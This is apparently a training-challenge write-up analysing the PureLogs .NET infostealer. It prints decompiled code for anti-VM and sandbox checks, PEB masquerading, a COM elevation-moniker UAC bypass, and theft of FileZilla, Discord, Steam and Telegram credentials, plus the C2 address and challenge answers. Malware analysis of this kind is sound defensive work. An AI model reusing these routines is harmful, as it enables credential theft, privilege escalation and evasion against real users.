MalOps - PureLogs Stealer Writeup

Scenario

As a malware analyst at ThreatScope Inc., you’ve been contacted by the internal SOC team regarding a potential compromise. Last week, the SOC flagged unusual outbound traffic from a user workstation — large bursts of encrypted data being sent to an unknown IP. Upon checking the system, the user admitted to downloading a free “PDF editor” from an unknown Discord server. The binary they ran was named PDFEditorPro.exe. Your task is to analyze the sample, determine its capabilities, and uncover what information it attempts to steal and how it communicates with its operator.

Analysis Process

This is a real type of malware, and there have been many analyses of it. Sample Hash (SHA-256):

7505E02F9E72CE781892C01AC7638A8FAC011F39C020CDA61E2EADA9EEE1C31D

Analysis Challenge: https://malops.io/challenges/10

Task 1: PureLogs is obfuscated and packed to hinder static analysis. Which commercial .NET packer is used to protect the PureLogs binary?

To find out which commercial .NET packer is being used to protect the PureLogs binary, simply load the malware into the Detect It Easy tool. The output will be as follows:

...
Language: MSIL/C#
Library: .NET Framework(v4.7.2, CLR v4.0.30319)
Protector: .NET Reactor(6.X)[Control Flow]
...

The malware is a .NET (C#) program and it has been obfuscated by .NET Reactor 6.x. We can use the .NET Reactor Slayer tool for deobufuscation, making the code easier to read and analyze.

Task 2: What is the name of the mutex created by PureLogs?

The malware deploys mutexes (mutually exclusive objects) to ensure only one instance runs on the infected system. This prevents resource conflicts and reduces the chance of detection through unusual system behavior.

In class13, we have a function named smethod_3() as follows:

1
public static bool smethod_3()
2
{
3
    bool result;
4
    Class13.mutex_0 = new Mutex(false, GClass4.string_3, ref result);
5
    return result;
6
}

This function creates a Mutex with the name stored in GClass4.string_3 as follows:

1
public static string string_3 = "FQBnanyetMxSRRO";

Task 3: PureLogs includes several anti-analysis checks before proceeding with execution. One of them specifically targets a well-known sandboxing tool. What process name does PureLogs check for to detect this sandbox?

In the class3, we can see that there are many functions used for anti-sandboxing and anti-VM. First, let’s talk about anti-VM:

1
public static bool smethod_3()
2
{
3
List<string> list = new List<string>
4
{
5
    "virtual",
6
    "vmbox",
7
    "vmware",
8
    "virtualbox",
9
    "box",
10
    "thinapp",
11
    "VMXh",
12
    "innotek gmbh",
13
    "tpvcgateway",
14
    "tpautoconnsvc",
15
    "vbox",
16
    "kvm",
17
    "red hat",
18
    "xen",
19
    "hyper-v",
20
    "qemu",
21
    "virtualpc",
22
    "parallels",
23
    "fusion",
24
    "proxmox",
25
    "esxi",
26
    "vsphere",
27
    "hypervisor"
28
};
29
bool result;
30
using (List<string>.Enumerator enumerator = Class3.smethod_4().GetEnumerator())
31
{
32
    if (!enumerator.MoveNext())
33
    {
34
        return false;
35
    }
36
    string item = enumerator.Current;
37
    result = list.Contains(item);
38
}
39
return result;
40
}
41

42

43
private static List<string> smethod_4()
44
{
45
    List<string> list = new List<string>();
46
    try
47
    {
48
        ManagementObject managementObject = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_ComputerSystem").Get().OfType<ManagementObject>().Where(new Func<ManagementObject, bool>(Class3.<>c.<>c_0.method_0)).FirstOrDefault<ManagementObject>();
49
        List<string> list2 = list;
50
        object obj = managementObject["Manufacturer"];
51
        list2.Add((obj != null) ? obj.ToString().ToLower() : null);
52
        List<string> list3 = list;
53
        object obj2 = managementObject["Model"];
54
        list3.Add((obj2 != null) ? obj2.ToString().ToLower() : null);
55
    }
56
    catch
57
    {
58
    }
59
    return list;
60
}

In the smethod_4() function, it uses a WMI query to retrieve information about the running machine, then compares it with the list of keywords - if there is a match, it returns true. With anti-sandbox, it’s as follows:

1
public static bool smethod_1()
2
    {
3
        return Process.GetProcessesByName("SbieCtrl").Length != 0 & Class3.GetModuleHandle("SbieDll.dll") != IntPtr.Zero;
4
    }

It checks if SbieCtrl.exe is running and if SbieDll.dll has been loaded. If so, it stops immediately. So the sandbox tool here is Sandboxie.

Also in class3, pay attention to the following code:

1
[DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)]
2
public static extern bool CheckRemoteDebuggerPresent(IntPtr intptr_0, ref bool bool_0);
3

4
private static bool smethod_2()
5
{
6
    bool result;
7
    try
8
    {
9
        bool flag = false;
10
        Class3.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref flag);
11
        result = flag;
12
    }
13
    catch
14
    {
15
        result = false;
16
    }
17
    return result;
18
}

The code imports kernel32.dll and uses the CheckRemoteDebuggerPresent API function to check if a process is currently being debugged. You can read more about function API here.

Task 5: PureLogs checks a specific registry key to know if it has already run on the system before. What is the full path of that registry key?

The malware prevents multiple instances of a program from running simultaneously using the Windows Registry as a lock mechanism. Look at the code in class13 as follows:

First, it checks if the configuration setting in GClass4.string_18 is enabled, and if so, searches for a specific registry key in HKEY_CURRENT_USER\Software\ with the name stored in GClass4.string_19.

Registry markers are only created when Registry-check is enabled, and this is the first time it’s run and has passed Class13.smethod_0().

Checking the value in the variable GClass4.string_19 will give us the answer.

1
public static string string_19 = "IqswyHgVpagFHxu";

HKEY_CURRENT_USER\Software\IqswyHgVpagFHxu

Task 6: PureLogs modifies its process name and command-line to appear as a legitimate Windows process. What process name does it use to masquerade as a trusted system process?

Also within class13, we have the following code:

1
if (!Class13.smethod_0())
2
{
3
    Class12.smethod_4("C:\\Windows\\explorer.exe");
4
    Class13.smethod_2();
5
    Environment.Exit(0);
6
}

It calls the smethod_4 function with the parameter being the path of a legitimate process, delving deeper into the analysis of smethod_4:

1
public static bool smethod_4(string string_0)
2
{
3
    int id = Process.GetCurrentProcess().Id;
4
    IntPtr intptr_ = Class12.OpenProcess((Class12.Enum1)1080U, false, id);
5
    Class12.Struct4 @struct = default(Class12.Struct4);
6
    IntPtr intPtr = Class12.smethod_2(@struct);
7
    int num = 0;
8
    if (Class12.NtQueryInformationProcess(intptr_, 0, intPtr, Marshal.SizeOf<Class12.Struct4>(@struct), ref num) != 0)
9
    {
10
        return false;
11
    }
12
    @struct = Class12.smethod_0<Class12.Struct4>(intPtr);
13
    Console.WriteLine("[+] Process ID is: {0}", @struct.uintptr_0);
14
    IntPtr zero = IntPtr.Zero;
15
    Class12.Struct6 struct2 = default(Class12.Struct6);
16
    IntPtr intPtr2 = Class12.smethod_2(struct2);
17
    if (!Class12.ReadProcessMemory(intptr_, @struct.intptr_1, intPtr2, Marshal.SizeOf<Class12.Struct6>(struct2), out zero))
18
    {
19
        return false;
20
    }
21
    struct2 = Class12.smethod_0<Class12.Struct6>(intPtr2);
22
    Class12.Struct7 struct3 = default(Class12.Struct7);
23
    IntPtr intPtr3 = Class12.smethod_2(struct3);
24
    if (!Class12.ReadProcessMemory(intptr_, struct2.intptr_2, intPtr3, Marshal.SizeOf<Class12.Struct7>(struct3), out zero))
25
    {
26
        return false;
27
    }
28
    struct3 = Class12.smethod_0<Class12.Struct7>(intPtr3);
29
    Class12.RtlEnterCriticalSection(struct2.intptr_6);
30
    IntPtr zero2 = IntPtr.Zero;
31
    IntPtr zero3 = IntPtr.Zero;
32
    zero2 = new IntPtr(struct2.intptr_3.ToInt64() + 96L);
33
    zero3 = new IntPtr(struct2.intptr_3.ToInt64() + 112L);
34
    if (!Class12.smethod_3(intptr_, zero2, "ImagePathName", string_0))
35
    {
36
        return false;
37
    }
38
    if (Class12.smethod_3(intptr_, zero3, "CommandLine", string_0))
39
    {
40
        StringBuilder stringBuilder = new StringBuilder(255);
41
        Class12.GetModuleFileName(IntPtr.Zero, stringBuilder, stringBuilder.Capacity);
42
        string a = stringBuilder.ToString();
43
        IntPtr intptr_2 = ((Class12.Struct7)Marshal.PtrToStructure(struct2.intptr_2, typeof(Class12.Struct7))).struct3_0.intptr_0;
44
        IntPtr intptr_3 = struct3.struct3_0.intptr_0;
45
        IntPtr zero4;
46
        IntPtr zero5;
47
        for (;;)
48
        {
49
            Class12.Struct8 struct4 = (Class12.Struct8)Marshal.PtrToStructure(intptr_3, typeof(Class12.Struct8));
50
            zero4 = IntPtr.Zero;
51
            zero5 = IntPtr.Zero;
52
            zero4 = new IntPtr(intptr_3.ToInt64() + 72L);
53
            zero5 = new IntPtr(intptr_3.ToInt64() + 88L);
54
            string b = struct4.struct2_0.ToString();
55
            if (a == b)
56
            {
57
                break;
58
            }
59
            intptr_3 = struct4.struct3_0.intptr_0;
60
            if (!(intptr_3 != intptr_2))
61
            {
62
                goto IL_289;
63
            }
64
        }
65
        if (!Class12.smethod_3(intptr_, zero4, "FullDllName", string_0))
66
        {
67
            return false;
68
        }
69
        if (!Class12.smethod_3(intptr_, zero5, "BaseDllName", string_0))
70
        {
71
            return false;
72
        }
73
        IL_289:
74
        Class12.RtlLeaveCriticalSection(struct2.intptr_6);
75
        Class12.CloseHandle(intptr_);
76
        return true;
77
    }
78
    return false;
79
}

First, it calls GetCurrentProcess to get the current process’s pid, and then calls OpenProcess to open its own process with 1080 privileges (0x438).

Then call NtQueryInformationProcess to get the PEB.

1
NtQueryInformationProcess(
2
    hProcess,
3
    0,                  // ProcessBasicInformation
4
    pStruct,
5
    sizeof,
6
    ref retLen
7
)

Continue calling ReadProcessMemory to read PEB from memory and read LoaderData (PEB_LDR_DATA). Next, calculate the addresses of ImagePathName and CommandLine using hardcode offset.

1
IntPtr pImagePath = new IntPtr(peb.intptr_3.ToInt64() + 96L);
2
IntPtr pCmdLine   = new IntPtr(peb.intptr_3.ToInt64() + 112L);

Call smethod_3 to overwrite the ImagePathName and CommandLine of the process with string_0 (i.e., C:\\Windows\\explorer.exe).

It also calls GetModuleFileName to find the process’s main module entry in the loader list and rename it to the legitimate process.

This technique is a type of Defense Evasion and its name is PEB Masquerading. You can read more about it here.

Task 7: What WMI class does PureLogs query to retrieve the system’s manufacturer and model?

We have already analyzed this question in previous tasks. However, we will clarify some concepts below:

Note (What is WMI?)

WMI (Windows Management Instrumentation) is the Windows “management system” that allows programs to query system information and manage the computer, such as Manufacturer, Model, CPU, RAM, etc.

Note (What is ManagementObjectSearcher Class?)

ManagementObjectSearcher is a .NET class (namespace System.Management) used to query WMI on Windows.

1
public static bool smethod_3()
2
{
3
List<string> list = new List<string>
4
{
5
    "virtual",
6
    "vmbox",
7
    "vmware",
8
    "virtualbox",
9
    "box",
10
    "thinapp",
11
    "VMXh",
12
    "innotek gmbh",
13
    "tpvcgateway",
14
    "tpautoconnsvc",
15
    "vbox",
16
    "kvm",
17
    "red hat",
18
    "xen",
19
    "hyper-v",
20
    "qemu",
21
    "virtualpc",
22
    "parallels",
23
    "fusion",
24
    "proxmox",
25
    "esxi",
26
    "vsphere",
27
    "hypervisor"
28
};
29
bool result;
30
using (List<string>.Enumerator enumerator = Class3.smethod_4().GetEnumerator())
31
{
32
    if (!enumerator.MoveNext())
33
    {
34
        return false;
35
    }
36
    string item = enumerator.Current;
37
    result = list.Contains(item);
38
}
39
return result;
40
}
41

42

43
private static List<string> smethod_4()
44
{
45
    List<string> list = new List<string>();
46
    try
47
    {
48
        ManagementObject managementObject = new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_ComputerSystem").Get().OfType<ManagementObject>().Where(new Func<ManagementObject, bool>(Class3.<>c.<>c_0.method_0)).FirstOrDefault<ManagementObject>();
49
        List<string> list2 = list;
50
        object obj = managementObject["Manufacturer"];
51
        list2.Add((obj != null) ? obj.ToString().ToLower() : null);
52
        List<string> list3 = list;
53
        object obj2 = managementObject["Model"];
54
        list3.Add((obj2 != null) ? obj2.ToString().ToLower() : null);
55
    }
56
    catch
57
    {
58
    }
59
    return list;
60
}

Therefore, the final answer is: Win32_ComputerSystem.

Task 8: PureLogs uses a trick to bypass the “Run as Administrator” (UAC) prompt by starting a special COM object. What exact string does it add before the COM CLSID to request an elevated instance?

First, let’s clarify some concepts:

Note (What is UAC?)

UAC stands for User Account Control in Windows. It’s a mechanism that prevents programs from running with administrator privileges without your permission, thereby reducing the risk of malware.

In class13 and within the function smethod_1:

1
public static object smethod_1(Guid guid_0, Guid guid_1)
2
{
3
    string str = guid_0.ToString("B");
4
    string string_ = "Elevation:Administrator!new:" + str;
5
    Class13.Struct9 structure = default(Class13.Struct9);
6
    structure.uint_0 = (uint)Marshal.SizeOf<Class13.Struct9>(structure);
7
    structure.intptr_0 = IntPtr.Zero;
8
    structure.uint_5 = 4U;
9
    return Class13.CoGetObject(string_, ref structure, guid_1);
10
}

It creates a COM object with Administrator privileges via the elevation moniker and retrieves the desired interface.

Note (What is COM?)

COM stands for Component Object Model – a Windows “component system” that allows a program to call the functionality of another component (which may be written in a different language and run in a different process) in a standardized way.

COM uses GUIDs:

CLSID: ID of the COM class (which object it creates)
IID: ID of the interface (which “function set” of that object you want to use)

Note (What is Elevation Moniker?)

Elevation Moniker is a special COM moniker syntax on Windows, used to request the system to create a COM object with elevated privileges — usually Administrator privileges — through the UAC mechanism.

We see that function smethod_1 is called in smethod_2 as follows:

1
public static void smethod_2()
2
{
3
    if (Convert.ToBoolean(GClass4.string_0) && ClassAntiMalwareAnalysis.anti_VM())
4
    {
5
        Environment.Exit(0);
6
        return;
7
    }
8
    if (Convert.ToBoolean(GClass4.string_2) && GClass2.smethod_0())
9
    {
10
        Environment.Exit(0);
11
        return;
12
    }
13
    Guid guid_ = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
14
    Guid guid_2 = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");
15
    Class13.Interface0 @interface = (Class13.Interface0)Class13.smethod_1(guid_, guid_2);
16
    @interface.ShellExec(Assembly.GetExecutingAssembly().Location, null, null, 0UL, 5UL);
17
    Marshal.ReleaseComObject(@interface);
18
}

The purpose of the first two if blocks is to check the environment and then exit. Next are the following two GUIDs:

1
Guid guid_  = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");  // CMSTPLUA
2
Guid guid_2 = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");  // sICMLuaUtil

With CLSID here, it would become:

Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

Then call ShellExec to run itself again with higher administrative privileges.

1
@interface.ShellExec(Assembly.GetExecutingAssembly().Location, null, null, 0UL, 5UL);

ShellExec is a method in the ICMLuaUtil interface.

It doesn’t directly elevate the current process. Instead, it borrows an existing Windows COM component to run elevated and perform the task requiring higher privileges (in this case: re-running itself). Therefore, the answer would be Elevation:Administrator!new:.

Task 9: PureLogs uses COM objects to silently bypass User Account Control (UAC) and relaunch itself with elevated privileges. What ATT&CK technique does this behavior map to?

As we analyzed in the previous task, this behavior directly maps to ATT&CK: T1548.002 – Abuse Elevation Control Mechanism: Bypass User Account Control (UAC) .

Task 10: What regex pattern does PureLogs use to find Steam session tokens?

In the code of class13, we see the following section:

1
if (Convert.ToBoolean(GClass4.string_6) || Convert.ToBoolean(GClass4.string_4) || Convert.ToBoolean(GClass4.string_5) || Convert.ToBoolean(GClass4.string_7))
2
{
3
    try
4
    {
5
        Class13.dictionary_0.Add("Apps", Convert.ToBase64String(Class5.smethod_0()));
6
    }
7
    catch
8
    {
9
    }
10
}

If any Apps module is enabled, it calls Class5.smethod_0() to retrieve the data blob, encode it in Base64, and insert it into Class13.dictionary_0["Apps"].

1
internal static byte[] smethod_0()
2
{
3
    List<Action> list = new List<Action>();
4
    if (Convert.ToBoolean(GClass4.string_6))
5
    {
6
        list.Add(new Action(Class5.smethod_1));
7
    }
8
    if (Convert.ToBoolean(GClass4.string_4))
9
    {
10
        list.Add(new Action(Class5.smethod_4));
11
    }
12
    if (Convert.ToBoolean(GClass4.string_5))
13
    {
14
        list.Add(new Action(Class5.smethod_3));
15
    }
16
    if (Convert.ToBoolean(GClass4.string_7))
17
    {
18
        list.Add(new Action(Class5.smethod_2));
19
    }
20
    ParallelOptions parallelOptions = new ParallelOptions
21
    {
22
        MaxDegreeOfParallelism = list.Count
23
    };
24
    Parallel.ForEach<Action>(list, parallelOptions, new Action<Action>(Class5.<>c.<>c_0.method_0));
25
    Dictionary<string, byte[]> dictionary = new Dictionary<string, byte[]>();
26
    if (Class5.byte_0 != null)
27
    {
28
        dictionary.Add("FileZilla", Class5.byte_0);
29
    }
30
    if (Class5.byte_1 != null)
31
    {
32
        dictionary.Add("Telegram", Class5.byte_1);
33
    }
34
    if (Class5.byte_2 != null)
35
    {
36
        dictionary.Add("Steam", Class5.byte_2);
37
    }
38
    if (Class5.dictionary_0.Count != 0)
39
    {
40
        dictionary.Add("Discord", Class14.smethod_8(Class5.dictionary_0));
41
    }
42
    if (Class5.byte_0 == null && Class5.byte_1 == null && Class5.byte_2 == null && Class5.dictionary_0 == null)
43
    {
44
        return null;
45
    }
46
    return Class14.smethod_8(dictionary);
47
}

It selects which modules to run based on the GClass4.string_* configuration flags. Then run those modules in parallel to collect data.

1
ParallelOptions parallelOptions = new ParallelOptions
2
{
3
    MaxDegreeOfParallelism = list.Count
4
};
5
Parallel.ForEach(list, parallelOptions, Class5.<>c.<>c_0.method_0);

Group the results into the dictionary by application name.

1
Dictionary<string, byte[]> dictionary = new Dictionary<string, byte[]>();
2

3
if (Class5.byte_0 != null) dictionary.Add("FileZilla", Class5.byte_0);
4
if (Class5.byte_1 != null) dictionary.Add("Telegram", Class5.byte_1);
5
if (Class5.byte_2 != null) dictionary.Add("Steam", Class5.byte_2);
6

7
if (Class5.dictionary_0.Count != 0)
8
{
9
    dictionary.Add("Discord", Class14.smethod_8(Class5.dictionary_0));
10
}

Let’s delve into the functions that carry out the data theft.

1
internal static void smethod_1()
2
{
3
    try
4
    {
5
        string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\recentservers.xml";
6
        if (File.Exists(text))
7
        {
8
            Class5.byte_0 = Class14.smethod_10(text);
9
        }
10
    }
11
    catch
12
    {
13
    }
14
}

FileZilla (FTP client): Extracts server credentials from recentservers.xml configuration file

1
internal static void smethod_2()
2
{
3
    string string_ = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord";
4
    string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb";
5
    if (Directory.Exists(path))
6
    {
7
        foreach (string string_2 in Directory.GetFiles(path, "*.ldb"))
8
        {
9
            try
10
            {
11
                Match match = Regex.Match(Encoding.UTF8.GetString(Class14.smethod_10(string_2)), "dQw4w9WgXcQ:[^\"]*");
12
                if (match.Success)
13
                {
14
                    Class5.dictionary_0.Add("EncryptToken", Convert.FromBase64String(match.Groups[0].Value.Split(new char[]
15
                    {
16
                        ':'
17
                    })[1]));
18
                    break;
19
                }
20
            }
21
            catch
22
            {
23
            }
24
        }
25
        try
26
        {
27
            Class5.dictionary_0.Add("MasterKey", Class7.smethod_19(string_));
28
        }
29
        catch
30
        {
31
        }
32
    }
33
}

Discord: It attempts to obtain the encrypted token from LevelDB and the master key (decryption key) to later decrypt the token.

1
internal static void smethod_4()
2
{
3
    try
4
    {
5
        Process process = Process.GetProcessesByName("steam").FirstOrDefault<Process>();
6
        if (process != null)
7
        {
8
            IntPtr intPtr = Class5.OpenProcess(16, false, process.Id);
9
            if (!(intPtr == IntPtr.Zero))
10
            {
11
                using (Class5.Class6 @class = new Class5.Class6(intPtr))
12
                {
13
                    IntPtr intPtr2 = IntPtr.Zero;
14
                    IntPtr intPtr3 = new IntPtr(int.MaxValue);
15
                    byte[] array = new byte[4096];
16
                    Regex regex = new Regex("[A-Za-z0-9-_]{16,}\\.[A-Za-z0-9-_]{40,}\\.[A-Za-z0-9-_]{40,}");
17
                    while (intPtr2.ToInt64() < intPtr3.ToInt64())
18
                    {
19
                        int count;
20
                        if (Class5.ReadProcessMemory(@class.Handle, intPtr2, array, array.Length, out count))
21
                        {
22
                            string @string = Encoding.ASCII.GetString(array, 0, count);
23
                            Match match = regex.Match(@string);
24
                            if (match.Success)
25
                            {
26
                                Class5.byte_2 = Encoding.UTF8.GetBytes(match.Value);
27
                                break;
28
                            }
29
                        }
30
                        intPtr2 = IntPtr.Add(intPtr2, array.Length);
31
                    }
32
                }
33
            }
34
            else
35
            {
36
                Class5.byte_2 = null;
37
            }
38
        }
39
        else
40
        {
41
            Class5.byte_2 = null;
42
        }
43
    }
44
    catch
45
    {
46
    }
47
}

Steam: Harvests account credentials and session information

1
internal static void smethod_3()
2
{
3
    string text = null;
4
    RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Classes\\tdesktop.tg\\DefaultIcon");
5
    if (registryKey != null)
6
    {
7
        try
8
        {
9
            string text2 = (string)registryKey.GetValue(null);
10
            registryKey.Close();
11
            if (!string.IsNullOrEmpty(text2))
12
            {
13
                text2 = text2.Remove(text2.LastIndexOf('\\') + 1);
14
                text = text2.Replace('"', ' ') + "tdata";
15
            }
16
        }
17
        catch
18
        {
19
        }
20
    }
21
    if (text == null)
22
    {
23
        try
24
        {
25
            RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("Software\\Classes\\tg\\DefaultIcon");
26
            if (registryKey2 != null)
27
            {
28
                string text3 = (string)registryKey2.GetValue(null);
29
                registryKey2.Close();
30
                if (!string.IsNullOrEmpty(text3))
31
                {
32
                    text3 = text3.Remove(text3.LastIndexOf('\\') + 1);
33
                    text = text3.Replace('"', ' ') + "tdata";
34
                }
35
            }
36
        }
37
        catch
38
        {
39
        }
40
    }
41
    if (text == null)
42
    {
43
        try
44
        {
45
            Process[] processesByName = Process.GetProcessesByName("telegram");
46
            if (processesByName.Length != 0)
47
            {
48
                text = Path.GetDirectoryName(processesByName[0].MainModule.FileName) + "\\tdata";
49
            }
50
        }
51
        catch
52
        {
53
        }
54
    }
55
    if (text != null && Directory.Exists(text))
56
    {
57
        using (MemoryStream memoryStream = new MemoryStream())
58
        {
59
            using (ZipArchive zipArchive = new ZipArchive(memoryStream, ZipArchiveMode.Create, true))
60
            {
61
                foreach (string text4 in Directory.GetFiles(text, "*", SearchOption.AllDirectories))
62
                {
63
                    try
64
                    {
65
                        string entryName = text4.Substring(text.Length).Trim(new char[]
66
                        {
67
                            Path.DirectorySeparatorChar
68
                        });
69
                        FileInfo fileInfo = new FileInfo(text4);
70
                        string name = fileInfo.Name;
71
                        if (fileInfo.Length <= 5120L)
72
                        {
73
                            if (!name.EndsWith("s"))
74
                            {
75
                                if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data"))
76
                                {
77
                                    ZipArchiveEntry zipArchiveEntry = zipArchive.CreateEntry(entryName, CompressionLevel.Optimal);
78
                                    using (FileStream fileStream = new FileStream(text4, FileMode.Open, FileAccess.Read))
79
                                    {
80
                                        using (Stream stream = zipArchiveEntry.Open())
81
                                        {
82
                                            fileStream.CopyTo(stream);
83
                                        }
84
                                    }
85
                                }
86
                            }
87
                            else
88
                            {
89
                                ZipArchiveEntry zipArchiveEntry2 = zipArchive.CreateEntry(entryName, CompressionLevel.Optimal);
90
                                using (FileStream fileStream2 = new FileStream(text4, FileMode.Open, FileAccess.Read))
91
                                {
92
                                    using (Stream stream2 = zipArchiveEntry2.Open())
93
                                    {
94
                                        fileStream2.CopyTo(stream2);
95
                                    }
96
                                }
97
                            }
98
                        }
99
                    }
100
                    catch
101
                    {
102
                    }
103
                }
104
            }
105
            Class5.byte_1 = memoryStream.ToArray();
106
        }
107
    }
108
}

Telegram: It attempts to locate Telegram’s tdata folder on the computer, then filters out some small, important files and compresses (zips) them into RAM.

Task 11: PureLogs adds a unique tag to the stolen data before sending it to the attacker. What is the exact string it adds to identify this specific build of the malware?

In class10, we see it performing a series of operations to gather information such as username, domain name, CPU, RAM, Windows version, etc.

1
public static byte[] smethod_0()
2
{
3
    Class1 @class = Class1.smethod_1();
4
    Class10.string_0 = @class.Country;
5
    Dictionary<string, string> dictionary_ = new Dictionary<string, string>
6
    {
7
        {
8
            "Username",
9
            GClass0.GClass1.smethod_1()
10
        },
11
        {
12
            "DomainName",
13
            Environment.UserDomainName
14
        },
15
        {
16
            "Date",
17
            DateTime.Now.ToString()
18
        },
19
        {
20
            "GPU",
21
            Class10.smethod_1()
22
        },
23
        {
24
            "CPU",
25
            Class10.CPU()
26
        },
27
        {
28
            "RAM",
29
            Class10.RAM()
30
        },
31
        {
32
            "WindowsVersion",
33
            Class10.WindowsVersion()
34
        },
35
        {
36
            "BitArch",
37
            Class10.smethod_2()
38
        },
39
        {
40
            "Antivirus",
41
            Class10.smethod_4()
42
        },
43
        {
44
            "ScreenSize",
45
            Class10.smethod_5()
46
        },
47
        {
48
            "Country",
49
            @class.Country
50
        },
51
        {
52
            "City",
53
            @class.City
54
        },
55
        {
56
            "Region",
57
            @class.Region
58
        },
59
        {
60
            "IP",
61
            @class.IP
62
        },
63
        {
64
            "TimeZone",
65
            @class.method_2()
66
        },
67
        {
68
            "ZIP",
69
            @class.method_4()
70
        }
71
    };
72
    return Encoding.UTF8.GetBytes(Class14.smethod_7(dictionary_));
73
}

At class13, it collects all the information and stores it in the variable dictionary_0. Interestingly, this dictionary contains a field called “group” to represent the campaign/group tag.

1
private static void Main(string[] args)
2
{
3
    ...
4
    try
5
    {
6
        Class13.dictionary_0.Add("Group", GClass4.string_17);
7
    }
8
    catch
9
    {
10

11
    }
12
    ...
13
}

The tag stored in the variable GClass4.string_17 has the value test120922139213.

Task 12: What port number does PureLogs use to communicate with its Command and Control (C2) server?

Also in class13, after gathering enough information, the malware creates a new TcpClient object with the host and port parameters assigned to two variables, GClass4.string_15 and GClass4.string_16.

1
    public static string string_15 = "65.21.119.48";
2
    public static string string_16 = "6561";

Task 13: What mode of AES does PureLogs use to encrypt stolen data?

In class14, we can easily see the following encryption logic:

1
internal static byte[] smethod_3(byte[] byte_0)
2
{
3
    byte[] array = Encoding.UTF8.GetBytes("lZl1wTrtsFc2ElgroUCsBHiSCgDJR10wV8SZ0IiP53cFzgsdKYIDGMdEHsogfICrEG6vsh");
4
    array = SHA512.Create().ComputeHash(array);
5
    return Class14.smethod_4(byte_0, array);
6
}
7

8
// Token: 0x060000FA RID: 250 RVA: 0x00009B4C File Offset: 0x00007D4C
9
internal static byte[] smethod_4(byte[] byte_0, byte[] byte_1)
10
{
11
    byte[] result = null;
12
    byte[] salt = new byte[]
13
    {
14
        117,
15
        45,
16
        158,
17
        253,
18
        184,
19
        172,
20
        96,
21
        158,
22
        239,
23
        125,
24
        30,
25
        70,
26
        145,
27
        225,
28
        3,
29
        161
30
    };
31
    using (MemoryStream memoryStream = new MemoryStream())
32
    {
33
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
34
        {
35
            rijndaelManaged.KeySize = 256;
36
            rijndaelManaged.BlockSize = 128;
37
            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(byte_1, salt, 1000);
38
            rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes((int)((double)rijndaelManaged.KeySize / 8.0));
39
            rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes((int)((double)rijndaelManaged.BlockSize / 8.0));
40
            rijndaelManaged.Mode = CipherMode.CBC;
41
            using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
42
            {
43
                cryptoStream.Write(byte_0, 0, byte_0.Length);
44
                cryptoStream.Close();
45
            }
46
            result = memoryStream.ToArray();
47
        }
48
    }
49
    return result;
50
}

In the smethod_3 function, it takes a hardcoded string as the “secret seed”. And it calls smethod_4 to encrypt using CBC mode and default padding (PKCS7).

Task 14: What is the length (in bytes) of the derived Initialization Vector (IV) used in the encryption?

In smethod_4:

1
rijndaelManaged.BlockSize = 128;
2
...
3
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes((int)((double)rijndaelManaged.BlockSize / 8.0));

Therefore, the derived IV length is 16 bytes.

Task 15: What algorithm is used to derive the AES key and IV from the SHA-512 hash in PureLogs?

The algorithm used to derive the AES key and IV from the SHA-512 hash value in PureLogs is PBKDF2 (Password-Based Key Derivation Function 2), in .NET implemented using the Rfc2898DeriveBytes class.

1
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(byte_1, salt, 1000);

Task 16: What fixed salt value is used in the PBKDF2 function in PureLogs (in hex starts as 0x)?

As we analyzed above, the fixed Salt in PBKDF2 is a 16-byte array:

1
[117, 45, 158, 253, 184, 172, 96, 158, 239, 125, 30, 70, 145, 225, 3, 161]

Converting to hexadecimal (starting with 0x) is: 0x752D9EFDB8AC609EEF7D1E4691E103A1.

Conclusion

Through reverse engineering of the PureLogs Stealer malware, we’ve uncovered a sophisticated information-stealing threat protected by .NET Reactor 6.x and equipped with extensive anti-analysis measures including VM/sandbox detection, debugger checks, and UAC bypass via COM elevation monikers. The malware harvests sensitive data from Steam, Discord, Telegram, and FileZilla, along with comprehensive system profiling information.

All stolen data is encrypted using AES-256-CBC with PBKDF2-derived keys before transmission to the C2 server at 65.21.119.48:6561, with the group tag test120922139213 identifying this specific build. This professional-grade malware represents a significant threat to users storing credentials in legitimate applications, and defending against it requires monitoring for process masquerading, implementing credential management best practices, and maintaining detection signatures for .NET Reactor-packed executables.